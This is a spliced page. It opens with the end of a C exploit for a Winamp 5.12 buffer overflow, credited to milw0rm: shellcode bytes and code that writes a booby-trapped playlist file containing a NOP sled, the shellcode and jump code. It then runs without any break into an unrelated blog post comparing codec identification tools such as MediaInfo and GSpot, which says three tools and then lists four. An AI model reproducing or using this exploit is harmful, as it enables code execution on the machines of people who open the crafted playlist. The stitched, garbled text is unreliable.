    “\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5″
    “\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21″
    “\x61\xdd\x0e\x4d”;

    int main(int argc,char *argv[])
    {
    printf(“\nWinamp 5.12 Remote Buffer Overflow Universal Exploit”);
    printf(“\nBug discovered & exploit coded by ATmaCA”);
    printf(“\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com”);
    printf(“\nE-Mail: atmaca@icqmail.com”);
    printf(“\nCredit to Kozan”);

    FILE *File;
    char *pszBuffer;

    if ( (File = fopen(PLAYLIST_FILE,”w+b”)) == NULL ) {
    printf(“\n [Err:] fopen()”);
    exit(1);
    }

    pszBuffer = (char*)malloc(BUF_LEN);
    memset(pszBuffer,0×90,BUF_LEN);
    memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
    memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
    memcpy(pszBuffer+0×0412,jumpcode,sizeof(jumpcode)-1);
    memcpy(pszBuffer+0×0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

    fwrite(pszBuffer, BUF_LEN, 1,File);
    fclose(File);

    printf(“\n\n” PLAYLIST_FILE ” has been created in the current directory.\n”);
    return 1;
    }

    // milw0rm.com [2006-01-29]

  • Determine Audio & Video Codec Required To Play Downloaded Movies

    I’ve seen many cases that movies downloaded from Internet can’t be played properly… A normal downloaded movie is around 700MB and it takes hours to complete downloading it. It’s surely frustrating that you wasted hours downloading a movie that you eagerly want to watch but then you only get the sound but no video. Or, you get only the video but no sound. You’ll be cursing the person who rip the video and uploaded the video file.

    Before doing that and deleting the downloaded movie away, you are very likely to be able to play the movie perfectly together with the audio and video IF you have the correct codec installed. A codec is a device or program capable of performing encoding and decoding on a digital data stream or signal. Different rippers use different codecs to rip the movie off a CD or DVD. So in order to play correctly, you need to install the codec that’s used to rip the disc.

    Thankfully there are a few good tools that that supplies technical and tag information about a video or audio file.


    I found 3 free tools that is able to tell you what codec is necessary in order to play a video or audio file.

    1. MediaInfo
    MediaInfo - Determine Codec Used on Video Files
    When you load a movie file into MediaInfo, it’ll give you the following information.
    General: title, author, director, album, track number, date, duration…
    Video: codec, aspect, fps, bitrate…
    Audio: codec, sample rate, channels, language, bitrate…
    Text: language of subtitle
    Chapters: number of chapters, list of chapters

    I like this tool as it’s not very complicated by giving you the unnecessary information. Simply load the movie file, it’ll detect what video and audio required to play. There’s a button on the main interface where you can click to go to the official website of the video codec or audio codec. Download the codec, install it and you’re all set to watch the downloaded video.

    [ Download MediaInfo ]

    2. AVIcodec
    AVIcodec - Check codec
    AVIcodec is able to tell you the codec required and where to download it. It is able to read AVI & DIVX, ASF & WMV, Real (.rm, .rmvb), Ogg (.ogg, .ogm), Mpeg-(S)VCD-DVD (.mpg, .vob), FLV and all those handled by DirectShow (.mp3, …). Just load the video or audio file, and it will show you the information. Clicking on the small “web” button will bring you to the official website to download the codec.

    Current AVIcodec version is quite outdated. There’s a newer version for beta test which is said to be available till end of March 2007, but it’s still available. Looks like AVIcodec is not actively being developed.

    [ Download AVIcodec ]

    3. afreeCodecVT
    afreeCodecVT
    Easily determine the Audio and Video codec required to view your video. Once the codec or problem is determined; you may easily search for the codec or tool to solve your issue using the software.

    Only reads AVI files. It doesn’t bring you to the official website to download the required codecs. Searching for codec download links in afreeCodec and afreeDLL doesn’t work. The link where it says “View a scenario in which afreeCodecVT is used to solve a issue.” in HELP section doesn’t work. Codec wizard doesn’t work as well. A lot of function in this tool will bring you to afreeCodecVT’s website but I think the website has changed and this tool doesn’t point to the correct page.

    [ Download afreeCodecVT ]

    4. GSpot
    GSpot - Codec Information
    There is no need to install GSpot. Just download, extract and run GSpot.exe. GSpot is able to tell you whether you’ve installed the codec required to play the movie file you examine. If it says “Codec(s) are Installed”, then you can play without problems. If it says “Codec(s) are NOT Installed”, then you have to manually search for the codecs in Google. Would be nice if it has a database of direct link to download the required codecs.

    [ Download GSpot ]

    From all 4 codec recognition tools above, I prefer to use MediaInfo. It is able to support many types of files and recognize many codecs. MediaInfo is actively being developed and don’t require any installation. It also brings you to the correct website to download the official required codec.

    Update: Sorry guys, totally forgotten about GSpot which is the most famous of them all. Just updated this post with GSpot.

    Download Movies Download Movies